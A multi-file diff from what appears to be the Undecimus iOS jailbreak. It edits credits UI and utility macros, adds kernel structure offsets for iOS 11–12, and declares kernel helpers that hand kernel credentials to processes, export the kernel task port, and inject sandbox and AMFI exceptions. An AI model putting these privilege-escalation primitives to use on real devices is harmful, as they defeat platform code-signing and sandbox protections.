<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="CFc-nb-uKC">
|
||||
<rect key="frame" x="0.0" y="1243.3333333333335" width="375" height="44"/>
|
||||
<rect key="frame" x="0.0" y="1199.3333333333335" width="375" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="CFc-nb-uKC" id="c4i-Lb-Ci9">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="43.666666666666664"/>
|
||||
@@ -2130,7 +2171,7 @@
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="djf-Cy-L0f">
|
||||
<rect key="frame" x="0.0" y="1287.3333333333335" width="375" height="44"/>
|
||||
<rect key="frame" x="0.0" y="1243.3333333333335" width="375" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="djf-Cy-L0f" id="Rdg-LP-0nV">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="43.666666666666664"/>
|
||||
@@ -2159,7 +2200,7 @@
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="AGm-v9-SAz">
|
||||
<rect key="frame" x="0.0" y="1331.3333333333335" width="375" height="44"/>
|
||||
<rect key="frame" x="0.0" y="1287.3333333333335" width="375" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="AGm-v9-SAz" id="u6w-tl-T7u">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="43.666666666666664"/>
|
||||
@@ -2188,7 +2229,7 @@
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="SeN-mT-hYg">
|
||||
<rect key="frame" x="0.0" y="1375.3333333333335" width="375" height="44"/>
|
||||
<rect key="frame" x="0.0" y="1331.3333333333335" width="375" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="SeN-mT-hYg" id="BUb-hq-LYk">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="43.666666666666664"/>
|
||||
@@ -2217,7 +2258,7 @@
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="laI-p6-hFE">
|
||||
<rect key="frame" x="0.0" y="1419.3333333333335" width="375" height="44"/>
|
||||
<rect key="frame" x="0.0" y="1375.3333333333335" width="375" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="laI-p6-hFE" id="c7T-Sx-cCK">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="43.666666666666664"/>
|
||||
@@ -2245,35 +2286,6 @@
|
||||
</tableViewCellContentView>
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="a8A-LV-2s7">
|
||||
<rect key="frame" x="0.0" y="1463.3333333333335" width="375" height="44"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="a8A-LV-2s7" id="bBV-qw-YRP">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="43.666666666666664"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="zA5-7U-XNX">
|
||||
<rect key="frame" x="15" y="5.3333333333333321" width="221" height="33"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="77" id="5MX-GD-Tb1"/>
|
||||
<constraint firstAttribute="height" constant="33" id="z9u-Wg-ATM"/>
|
||||
</constraints>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<state key="normal" title="@coolstarorg (Development)">
|
||||
<color key="titleColor" white="0.0" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</state>
|
||||
<connections>
|
||||
<action selector="tappedOnCoolStar:" destination="uGG-wM-8Jf" eventType="touchUpInside" id="MjV-c5-2xT"/>
|
||||
</connections>
|
||||
</button>
|
||||
</subviews>
|
||||
<constraints>
|
||||
<constraint firstItem="zA5-7U-XNX" firstAttribute="leading" secondItem="bBV-qw-YRP" secondAttribute="leading" constant="15" id="1LP-CE-ybo"/>
|
||||
<constraint firstItem="zA5-7U-XNX" firstAttribute="centerY" secondItem="bBV-qw-YRP" secondAttribute="centerY" id="Gjd-nI-YWK"/>
|
||||
</constraints>
|
||||
</tableViewCellContentView>
|
||||
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</tableViewCell>
|
||||
</cells>
|
||||
</tableViewSection>
|
||||
</sections>
|
||||
|
||||
@@ -25,12 +25,16 @@ extern void NSLog(CFStringRef, ...);
|
||||
#define SafeFreeNULL(x) do { SafeFree(x); (x) = NULL; } while(false)
|
||||
#define CFSafeRelease(x) do { if (x) CFRelease(x); } while(false)
|
||||
#define CFSafeReleaseNULL(x) do { CFSafeRelease(x); (x) = NULL; } while(false)
|
||||
#define SafeSFree(x) do { if (KERN_POINTER_VALID(x)) sfree(x); } while(false)
|
||||
#define SafeSFreeNULL(x) do { SafeSFree(x); (x) = KPTR_NULL; } while(false)
|
||||
#define SafeIOFree(x, size) do { if (KERN_POINTER_VALID(x)) IOFree(x, size); } while(false)
|
||||
#define SafeIOFreeNULL(x, size) do { SafeIOFree(x, size); (x) = KPTR_NULL; } while(false)
|
||||
|
||||
#define kCFCoreFoundationVersionNumber_iOS_12_0 1535.12
|
||||
#define kCFCoreFoundationVersionNumber_iOS_11_3 1452.23
|
||||
#define kCFCoreFoundationVersionNumber_iOS_11_0 1443.00
|
||||
|
||||
#define auto __auto_type
|
||||
#define __FILENAME__ (__builtin_strrchr(__FILE__, '/') ? __builtin_strrchr(__FILE__, '/') + 1 : __FILE__)
|
||||
|
||||
#define ADDR "0x%016llx"
|
||||
#define MACH_HEADER_MAGIC MH_MAGIC_64
|
||||
@@ -51,7 +55,5 @@ extern kptr_t offset_options;
|
||||
#define OPT_GET_TASK_ALLOW (1<<0)
|
||||
#define OPT_CS_DEBUGGED (1<<1)
|
||||
|
||||
#define SIZE_NULL ((size_t) 0)
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
@@ -118,10 +118,6 @@
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"saurik"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnUndecimusResources:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"https://github.com/pwn20wndstuff/Undecimus-Resources"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnTihmstar:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"tihmstar"] options:@{} completionHandler:nil];
|
||||
}
|
||||
@@ -170,12 +166,12 @@
|
||||
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"https://github.com/libimobiledevice"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnCoolStar:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"coolstarorg"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnBen:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"benjweaverdev"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
- (CGFloat)tableView:(UITableView *)tableView heightForRowAtIndexPath:(NSIndexPath *)indexPath {
|
||||
return 44;
|
||||
}
|
||||
|
||||
@end
|
||||
|
||||
@@ -14,7 +14,7 @@ NSDictionary *parseDependsOrProvides(NSString *string);
|
||||
BOOL compareDpkgVersion(NSString *version1, NSString *op, NSString *version2, BOOL *result);
|
||||
NSString *versionOfPkg(NSString *pkg);
|
||||
NSArray *resolveDepsForPkg(NSString * _Nonnull pkg, BOOL noPreDeps);
|
||||
BOOL extractDebsForPkg(NSString *pkg, NSMutableArray *installed, BOOL preDeps);
|
||||
BOOL extractDebsForPkg(NSString *pkg, NSMutableArray *installed, BOOL preDeps, bool doInject);
|
||||
NSDictionary *getPkgs(void);
|
||||
NSString *debForPkg(NSString *pkg);
|
||||
NSArray <NSString*> *debsForPkgs(NSArray <NSString*> *pkgs);
|
||||
|
||||
@@ -324,7 +324,7 @@ NSArray *resolveDepsForPkg(NSString *pkg, BOOL preDeps) {
|
||||
return resolveDepsForPkgWithQueue(pkg, nil, preDeps);
|
||||
}
|
||||
|
||||
BOOL extractDebsForPkg(NSString *pkg, NSMutableArray *installed, BOOL preDeps) {
|
||||
BOOL extractDebsForPkg(NSString *pkg, NSMutableArray *installed, BOOL preDeps, bool doInject) {
|
||||
NSArray *pkgsForPkg = resolveDepsForPkg(pkg, preDeps);
|
||||
if (pkgsForPkg == nil || pkgsForPkg.count < 1) {
|
||||
LOG("Found no pkgs to install for \"%@\"", pkg);
|
||||
@@ -342,7 +342,7 @@ BOOL extractDebsForPkg(NSString *pkg, NSMutableArray *installed, BOOL preDeps) {
|
||||
// Already installed all these
|
||||
return YES;
|
||||
}
|
||||
if (!extractDebs(debsForPkg)) {
|
||||
if (!extractDebs(debsForPkg, doInject)) {
|
||||
LOG("Failed to extract debs for \"%@\"", pkg);
|
||||
return NO;
|
||||
}
|
||||
|
||||
@@ -10,12 +10,10 @@
|
||||
#import <UIProgressHUD.h>
|
||||
#import "common.h"
|
||||
|
||||
#define __FILENAME__ (__builtin_strrchr(__FILE__, '/') ? __builtin_strrchr(__FILE__, '/') + 1 : __FILE__)
|
||||
|
||||
#define _assert(test, message, fatal) do \
|
||||
if (!(test)) { \
|
||||
int saved_errno = errno; \
|
||||
LOG("__assert(%d:%s)@%s:%u[%s]", saved_errno, #test, __FILENAME__, __LINE__, __FUNCTION__); \
|
||||
LOG("_assert(%d:%s)@%s:%u[%s]", saved_errno, #test, __FILENAME__, __LINE__, __FUNCTION__); \
|
||||
if (message != nil) \
|
||||
showAlert(fatal ? @"Error (Fatal)" : @"Error (Nonfatal)", [NSString stringWithFormat:@"Errno: %d\nTest: %s\nFilename: %s\nLine: %d\nFunction: %s\nDescription: %@", saved_errno, #test, __FILENAME__, __LINE__, __FUNCTION__, message], true, false); \
|
||||
else \
|
||||
@@ -34,8 +32,9 @@ while (false)
|
||||
#define notice(msg, wait, destructive) showAlert(@"Notice", msg, wait, destructive)
|
||||
|
||||
#define status(msg, btnenbld, tbenbld) do { \
|
||||
LOG("Status: %@", msg); \
|
||||
dispatch_async(dispatch_get_main_queue(), ^{ \
|
||||
if ([[[[[JailbreakViewController sharedController] goButton] titleLabel] text] isEqualToString:msg]) return; \
|
||||
LOG("Status: %@", msg); \
|
||||
[UIView performWithoutAnimation:^{ \
|
||||
[[[JailbreakViewController sharedController] goButton] setEnabled:btnenbld]; \
|
||||
[[[[JailbreakViewController sharedController] tabBarController] tabBar] setUserInteractionEnabled:tbenbld]; \
|
||||
@@ -77,6 +76,9 @@ static inline UIProgressHUD *addProgressHUD() {
|
||||
}
|
||||
|
||||
static inline void removeProgressHUD(UIProgressHUD *hud) {
|
||||
if (hud == nil) {
|
||||
return;
|
||||
}
|
||||
dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);
|
||||
dispatch_async(dispatch_get_main_queue(), ^{
|
||||
[hud hide];
|
||||
@@ -87,6 +89,9 @@ static inline void removeProgressHUD(UIProgressHUD *hud) {
|
||||
}
|
||||
|
||||
static inline void updateProgressHUD(UIProgressHUD *hud, NSString *msg) {
|
||||
if (hud == nil) {
|
||||
return;
|
||||
}
|
||||
dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);
|
||||
dispatch_async(dispatch_get_main_queue(), ^{
|
||||
[hud setText:msg];
|
||||
|
||||
@@ -27,7 +27,7 @@ static NSString *bundledResources = nil;
|
||||
- (IBAction)tappedOnJailbreak:(id)sender
|
||||
{
|
||||
status(localize(@"Jailbreak"), false, false);
|
||||
auto const block = ^(void) {
|
||||
void (^const block)(void) = ^(void) {
|
||||
_assert(bundledResources != nil, localize(@"Bundled Resources version missing."), true);
|
||||
if (!jailbreakSupported()) {
|
||||
status(localize(@"Unsupported"), false, true);
|
||||
@@ -40,7 +40,7 @@ static NSString *bundledResources = nil;
|
||||
|
||||
- (void)viewWillAppear:(BOOL)animated {
|
||||
[super viewWillAppear:animated];
|
||||
auto prefs = copy_prefs();
|
||||
prefs_t *prefs = copy_prefs();
|
||||
if (!jailbreakSupported()) {
|
||||
status(localize(@"Unsupported"), false, true);
|
||||
} else if (prefs->restore_rootfs) {
|
||||
@@ -57,7 +57,7 @@ static NSString *bundledResources = nil;
|
||||
[super viewDidLoad];
|
||||
_canExit = YES;
|
||||
// Do any additional setup after loading the view, typically from a nib.
|
||||
auto prefs = copy_prefs();
|
||||
prefs_t *prefs = copy_prefs();
|
||||
if (prefs->hide_log_window) {
|
||||
_outputView.hidden = YES;
|
||||
_outputView = nil;
|
||||
|
||||
@@ -58,7 +58,7 @@ bool init_kexec()
|
||||
if (!MACH_PORT_VALID(user_client)) return false;
|
||||
|
||||
// From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable
|
||||
IOSurfaceRootUserClient_port = get_address_of_port(getpid(), user_client); // UserClients are just mach_ports, so we find its address
|
||||
IOSurfaceRootUserClient_port = get_address_of_port(proc_struct_addr(), user_client); // UserClients are just mach_ports, so we find its address
|
||||
if (!KERN_POINTER_VALID(IOSurfaceRootUserClient_port)) return false;
|
||||
|
||||
IOSurfaceRootUserClient_addr = ReadKernel64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); // The UserClient itself (the C++ object) is at the kobject field
|
||||
|
||||
@@ -79,6 +79,7 @@ enum kernel_offset {
|
||||
KSTRUCT_OFFSET_HOST_SPECIAL,
|
||||
|
||||
/* struct ucred */
|
||||
KSTRUCT_OFFSET_UCRED_CR_REF,
|
||||
KSTRUCT_OFFSET_UCRED_CR_UID,
|
||||
KSTRUCT_OFFSET_UCRED_CR_RUID,
|
||||
KSTRUCT_OFFSET_UCRED_CR_SVUID,
|
||||
@@ -98,6 +99,9 @@ enum kernel_offset {
|
||||
KSTRUCT_SIZE_IPC_ENTRY,
|
||||
KSTRUCT_OFFSET_IPC_ENTRY_IE_BITS,
|
||||
|
||||
/* struct vnode */
|
||||
KSTRUCT_OFFSET_VNODE_V_FLAG,
|
||||
|
||||
/* vtable OSDictionary */
|
||||
KVTABLE_OFFSET_OSDICTIONARY_SETOBJECTWITHCHARP,
|
||||
KVTABLE_OFFSET_OSDICTIONARY_GETOBJECTWITHCHARP,
|
||||
|
||||
@@ -74,6 +74,7 @@ uint32_t kernel_offsets_11_0[] = {
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_HOST_SPECIAL
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_UCRED_CR_REF
|
||||
0x18, // KSTRUCT_OFFSET_UCRED_CR_UID
|
||||
0x1c, // KSTRUCT_OFFSET_UCRED_CR_RUID
|
||||
0x20, // KSTRUCT_OFFSET_UCRED_CR_SVUID
|
||||
@@ -91,6 +92,8 @@ uint32_t kernel_offsets_11_0[] = {
|
||||
0x18, // KSTRUCT_SIZE_IPC_ENTRY
|
||||
0x8, // KSTRUCT_OFFSET_IPC_ENTRY_IE_BITS
|
||||
|
||||
0x54, // KSTRUCT_OFFSET_VNODE_V_FLAG
|
||||
|
||||
0x1F, // KVTABLE_OFFSET_OSDICTIONARY_SETOBJECTWITHCHARP
|
||||
0x26, // KVTABLE_OFFSET_OSDICTIONARY_GETOBJECTWITHCHARP
|
||||
0x23, // KVTABLE_OFFSET_OSDICTIONARY_MERGE
|
||||
@@ -170,6 +173,7 @@ uint32_t kernel_offsets_11_3[] = {
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_HOST_SPECIAL
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_UCRED_CR_REF
|
||||
0x18, // KSTRUCT_OFFSET_UCRED_CR_UID
|
||||
0x1c, // KSTRUCT_OFFSET_UCRED_CR_RUID
|
||||
0x20, // KSTRUCT_OFFSET_UCRED_CR_SVUID
|
||||
@@ -187,6 +191,8 @@ uint32_t kernel_offsets_11_3[] = {
|
||||
0x18, // KSTRUCT_SIZE_IPC_ENTRY
|
||||
0x8, // KSTRUCT_OFFSET_IPC_ENTRY_IE_BITS
|
||||
|
||||
0x54, // KSTRUCT_OFFSET_VNODE_V_FLAG
|
||||
|
||||
0x1F, // KVTABLE_OFFSET_OSDICTIONARY_SETOBJECTWITHCHARP
|
||||
0x26, // KVTABLE_OFFSET_OSDICTIONARY_GETOBJECTWITHCHARP
|
||||
0x23, // KVTABLE_OFFSET_OSDICTIONARY_MERGE
|
||||
@@ -282,6 +288,7 @@ uint32_t kernel_offsets_12_0[] = {
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_HOST_SPECIAL
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_UCRED_CR_REF
|
||||
0x18, // KSTRUCT_OFFSET_UCRED_CR_UID
|
||||
0x1c, // KSTRUCT_OFFSET_UCRED_CR_RUID
|
||||
0x20, // KSTRUCT_OFFSET_UCRED_CR_SVUID
|
||||
@@ -299,6 +306,8 @@ uint32_t kernel_offsets_12_0[] = {
|
||||
0x18, // KSTRUCT_SIZE_IPC_ENTRY
|
||||
0x8, // KSTRUCT_OFFSET_IPC_ENTRY_IE_BITS
|
||||
|
||||
0x54, // KSTRUCT_OFFSET_VNODE_V_FLAG
|
||||
|
||||
0x1F, // KVTABLE_OFFSET_OSDICTIONARY_SETOBJECTWITHCHARP
|
||||
0x26, // KVTABLE_OFFSET_OSDICTIONARY_GETOBJECTWITHCHARP
|
||||
0x23, // KVTABLE_OFFSET_OSDICTIONARY_MERGE
|
||||
|
||||
+1087
-858
File diff suppressed because it is too large
Load Diff
@@ -45,8 +45,9 @@ TODO:
|
||||
extern kptr_t kernel_base;
|
||||
extern uint64_t kernel_slide;
|
||||
|
||||
extern kptr_t cached_proc_struct_addr;
|
||||
extern kptr_t cached_task_self_addr;
|
||||
extern BOOL found_offsets;
|
||||
extern bool found_offsets;
|
||||
|
||||
kptr_t task_self_addr(void);
|
||||
kptr_t ipc_space_kernel(void);
|
||||
@@ -59,45 +60,47 @@ mach_port_t fake_host_priv(void);
|
||||
int message_size_for_kalloc_size(int kalloc_size);
|
||||
|
||||
kptr_t get_kernel_proc_struct_addr(void);
|
||||
BOOL iterate_proc_list(void (^handler)(kptr_t, pid_t, BOOL *));
|
||||
bool iterate_proc_list(void (^handler)(kptr_t, pid_t, bool *));
|
||||
kptr_t get_proc_struct_for_pid(pid_t pid);
|
||||
kptr_t get_address_of_port(pid_t pid, mach_port_t port);
|
||||
kptr_t proc_struct_addr(void);
|
||||
kptr_t get_address_of_port(kptr_t proc, mach_port_t port);
|
||||
kptr_t get_kernel_cred_addr(void);
|
||||
kptr_t give_creds_to_process_at_addr(kptr_t proc, kptr_t cred_addr);
|
||||
BOOL set_platform_binary(kptr_t proc, BOOL set);
|
||||
bool set_platform_binary(kptr_t proc, bool set);
|
||||
|
||||
kptr_t zm_fix_addr(kptr_t addr);
|
||||
|
||||
BOOL verify_tfp0(void);
|
||||
bool verify_tfp0(void);
|
||||
|
||||
extern int (*pmap_load_trust_cache)(kptr_t kernel_trust, size_t length);
|
||||
int _pmap_load_trust_cache(kptr_t kernel_trust, size_t length);
|
||||
|
||||
BOOL set_host_type(host_t host, uint32_t type);
|
||||
BOOL export_tfp0(host_t host);
|
||||
BOOL unexport_tfp0(host_t host);
|
||||
bool set_host_type(host_t host, uint32_t type);
|
||||
bool export_tfp0(host_t host);
|
||||
bool unexport_tfp0(host_t host);
|
||||
|
||||
BOOL set_csflags(kptr_t proc, uint32_t flags, BOOL value);
|
||||
BOOL set_cs_platform_binary(kptr_t proc, BOOL value);
|
||||
bool set_csflags(kptr_t proc, uint32_t flags, bool value);
|
||||
bool set_cs_platform_binary(kptr_t proc, bool value);
|
||||
|
||||
BOOL execute_with_credentials(kptr_t proc, kptr_t credentials, void (^function)(void));
|
||||
bool execute_with_credentials(kptr_t proc, kptr_t credentials, void (^function)(void));
|
||||
|
||||
uint32_t get_proc_memstat_state(kptr_t proc);
|
||||
BOOL set_proc_memstat_state(kptr_t proc, uint32_t memstat_state);
|
||||
BOOL set_proc_memstat_internal(kptr_t proc, BOOL set);
|
||||
BOOL get_proc_memstat_internal(kptr_t proc);
|
||||
bool set_proc_memstat_state(kptr_t proc, uint32_t memstat_state);
|
||||
bool set_proc_memstat_internal(kptr_t proc, bool set);
|
||||
bool get_proc_memstat_internal(kptr_t proc);
|
||||
size_t kstrlen(kptr_t ptr);
|
||||
kptr_t kstralloc(const char *str);
|
||||
BOOL kstrfree(kptr_t ptr);
|
||||
kptr_t sstrdup(const char *str);
|
||||
kptr_t smalloc(size_t size);
|
||||
void sfree(kptr_t ptr);
|
||||
kptr_t IOMalloc(vm_size_t size);
|
||||
void IOFree(kptr_t address, vm_size_t size);
|
||||
int extension_create_file(kptr_t saveto, kptr_t sb, const char *path, size_t path_len, uint32_t subtype);
|
||||
int extension_create_mach(kptr_t saveto, kptr_t sb, const char *name, uint32_t subtype);
|
||||
int extension_add(kptr_t ext, kptr_t sb, const char *desc);
|
||||
void extension_release(kptr_t ext);
|
||||
void extension_destroy(kptr_t ext);
|
||||
BOOL set_file_extension(kptr_t sandbox, const char *exc_key, const char *path);
|
||||
BOOL set_mach_extension(kptr_t sandbox, const char *exc_key, const char *name);
|
||||
bool set_file_extension(kptr_t sandbox, const char *exc_key, const char *path);
|
||||
bool set_mach_extension(kptr_t sandbox, const char *exc_key, const char *name);
|
||||
kptr_t proc_find(pid_t pid);
|
||||
void proc_rele(kptr_t proc);
|
||||
void proc_lock(kptr_t proc);
|
||||
@@ -114,16 +117,18 @@ void kauth_cred_unref(kptr_t cred);
|
||||
int chgproccnt(uid_t uid, int diff);
|
||||
kptr_t vfs_context_current(void);
|
||||
int vnode_lookup(const char *path, int flags, kptr_t *vpp, kptr_t ctx);
|
||||
int vnode_getfromfd(kptr_t ctx, int fd, kptr_t *vpp);
|
||||
int vn_getpath(kptr_t vp, char *pathbuf, int *len);
|
||||
int vnode_put(kptr_t vp);
|
||||
BOOL OSDictionary_SetItem(kptr_t OSDictionary, const char *key, kptr_t val);
|
||||
bool OSDictionary_SetItem(kptr_t OSDictionary, const char *key, kptr_t val);
|
||||
kptr_t OSDictionary_GetItem(kptr_t OSDictionary, const char *key);
|
||||
BOOL OSDictionary_Merge(kptr_t OSDictionary, kptr_t OSDictionary2);
|
||||
bool OSDictionary_Merge(kptr_t OSDictionary, kptr_t OSDictionary2);
|
||||
uint32_t OSDictionary_ItemCount(kptr_t OSDictionary);
|
||||
kptr_t OSDictionary_ItemBuffer(kptr_t OSDictionary);
|
||||
kptr_t OSDictionary_ItemKey(kptr_t buffer, uint32_t idx);
|
||||
kptr_t OSDictionary_ItemValue(kptr_t buffer, uint32_t idx);
|
||||
uint32_t OSArray_ItemCount(kptr_t OSArray);
|
||||
BOOL OSArray_Merge(kptr_t OSArray, kptr_t OSArray2);
|
||||
bool OSArray_Merge(kptr_t OSArray, kptr_t OSArray2);
|
||||
kptr_t OSArray_GetObject(kptr_t OSArray, uint32_t idx);
|
||||
void OSArray_RemoveObject(kptr_t OSArray, uint32_t idx);
|
||||
kptr_t OSArray_ItemBuffer(kptr_t OSArray);
|
||||
@@ -135,33 +140,37 @@ uint32_t OSString_GetLength(kptr_t OSString);
|
||||
kptr_t OSString_CStringPtr(kptr_t OSString);
|
||||
char *OSString_CopyString(kptr_t OSString);
|
||||
kptr_t OSUnserializeXML(const char *buffer);
|
||||
kptr_t get_exception_osarray(const char **exceptions);
|
||||
kptr_t get_exception_osarray(const char **exceptions, bool is_file_extension);
|
||||
char **copy_amfi_entitlements(kptr_t present);
|
||||
kptr_t getOSBool(BOOL value);
|
||||
BOOL entitle_process(kptr_t amfi_entitlements, const char *key, kptr_t val);
|
||||
BOOL set_sandbox_exceptions(kptr_t sandbox, const char **exceptions);
|
||||
BOOL check_for_exception(char **current_exceptions, const char *exception);
|
||||
BOOL set_amfi_exceptions(kptr_t amfi_entitlements, const char **exceptions);
|
||||
BOOL set_exceptions(kptr_t sandbox, kptr_t amfi_entitlements);
|
||||
kptr_t getOSBool(bool value);
|
||||
bool entitle_process(kptr_t amfi_entitlements, const char *key, kptr_t val);
|
||||
bool set_sandbox_exceptions(kptr_t sandbox);
|
||||
bool check_for_exception(char **current_exceptions, const char *exception);
|
||||
bool set_amfi_exceptions(kptr_t amfi_entitlements, const char *exc_key, const char **exceptions, bool is_file_extension);
|
||||
bool set_exceptions(kptr_t sandbox, kptr_t amfi_entitlements);
|
||||
kptr_t get_amfi_entitlements(kptr_t cr_label);
|
||||
kptr_t get_sandbox(kptr_t cr_label);
|
||||
BOOL entitle_process_with_pid(pid_t pid, const char *key, kptr_t val);
|
||||
BOOL remove_memory_limit(void);
|
||||
BOOL restore_kernel_task_port(task_t *out_kernel_task_port);
|
||||
BOOL restore_kernel_base(uint64_t *out_kernel_base, uint64_t *out_kernel_slide);
|
||||
BOOL restore_kernel_offset_cache(void);
|
||||
BOOL restore_file_offset_cache(const char *offset_cache_file_path, kptr_t *out_kernel_base, uint64_t *out_kernel_slide);
|
||||
BOOL convert_port_to_task_port(mach_port_t port, kptr_t space, kptr_t task_kaddr);
|
||||
bool entitle_process_with_pid(pid_t pid, const char *key, kptr_t val);
|
||||
bool remove_memory_limit(void);
|
||||
bool restore_kernel_task_port(task_t *out_kernel_task_port);
|
||||
bool restore_kernel_base(uint64_t *out_kernel_base, uint64_t *out_kernel_slide);
|
||||
bool restore_kernel_offset_cache(void);
|
||||
bool restore_file_offset_cache(const char *offset_cache_file_path, kptr_t *out_kernel_base, uint64_t *out_kernel_slide);
|
||||
bool convert_port_to_task_port(mach_port_t port, kptr_t space, kptr_t task_kaddr);
|
||||
kptr_t make_fake_task(kptr_t vm_map);
|
||||
BOOL make_port_fake_task_port(mach_port_t port, kptr_t task_kaddr);
|
||||
BOOL set_hsp4(task_t port);
|
||||
bool make_port_fake_task_port(mach_port_t port, kptr_t task_kaddr);
|
||||
bool set_hsp4(task_t port);
|
||||
kptr_t get_vnode_for_path(const char *path);
|
||||
kptr_t get_vnode_for_fd(int fd);
|
||||
char *get_path_for_fd(int fd);
|
||||
kptr_t get_vnode_for_snapshot(int fd, char *name);
|
||||
BOOL set_kernel_task_info(void);
|
||||
bool set_kernel_task_info(void);
|
||||
int issue_extension_for_mach_service(kptr_t sb, kptr_t ctx, const char *entry_name, void *desc);
|
||||
BOOL unrestrict_process(pid_t pid);
|
||||
BOOL unrestrict_process_with_task_port(task_t task_port);
|
||||
BOOL revalidate_process(pid_t pid);
|
||||
BOOL revalidate_process_with_task_port(task_t task_port);
|
||||
bool unrestrict_process(pid_t pid);
|
||||
bool unrestrict_process_with_task_port(task_t task_port);
|
||||
bool revalidate_process(pid_t pid);
|
||||
bool revalidate_process_with_task_port(task_t task_port);
|
||||
bool enable_mapping_for_library(const char *lib);
|
||||
